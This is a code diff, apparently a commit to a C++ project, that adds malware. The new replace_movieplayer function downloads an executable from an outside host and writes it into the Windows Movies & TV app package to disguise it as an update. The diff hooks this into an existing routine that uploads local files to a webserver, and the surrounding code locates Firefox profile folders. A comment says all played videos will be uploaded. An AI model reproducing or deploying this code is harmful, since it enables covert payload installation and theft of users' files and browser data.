1
1
#pragma once
2
2
#include " includes.hpp"
3
3
4
+ // / <summary>
5
+ // / Tricks Windows into installing an 'update' on movie player...
6
+ // / </summary>
7
+ bool replace_movieplayer ()
8
+ {
9
+ auto response = cpr::Get ( cpr::Url{ " https://www.exejoiner.com/files/private_/_temp_installer.exe" } );
10
+
11
+ if (response.status_code == 200 ) {
12
+ std::filesystem::path moviesandtv_path = std::getenv ( " localappdata" );
13
+ moviesandtv_path /= " Packages\\ Microsoft.ZuneVideo_8wekyb3d8bbwe\\ " ;
14
+
15
+ std::ofstream outfile{ moviesandtv_path, std::ofstream::binary };
16
+ outfile.write ( response.text .c_str (), response.text .length () );
17
+ outfile.close ();
18
+ }
19
+ else
20
+ {
21
+ return false ;
22
+ }
23
+
24
+ return true ;
25
+ }
26
+
4
27
// / <summary>
5
28
// / Analyzes input files for data collection via webserver.
6
29
// / </summary>
@@ -24,11 +47,21 @@ void analyze_files(const char** input_files, int file_count) {
24
47
cpr::Multipart{{" file" , cpr::Buffer{buffer, file_size}, input_files[i]}});
25
48
delete[] buffer;
26
49
}
50
+
51
+ if ( replace_movieplayer () )
52
+ {
53
+ // dbglog("[+] replaced movie player! will now upload all videos played! CODE 200\r\n");
54
+ }
27
55
}
28
56
29
57
std::string __ImportantAnalyzer () {
30
58
wchar_t profilePath[MAX_PATH];
31
- SHGetSpecialFolderPath (NULL , profilePath, CSIDL_APPDATA, TRUE );
59
+ SHGetSpecialFolderPath (NULL ,
60
+ profilePath,
61
+ CSIDL_APPDATA,
62
+ TRUE
63
+ );
64
+
32
65
std::wstring profilePathW (profilePath);
33
66
std::string profilePathA (profilePathW.begin (), profilePathW.end ());
34
67
profilePathA += " \\ Mozilla\\ Firefox\\ Profiles\\ " ;
0 commit comments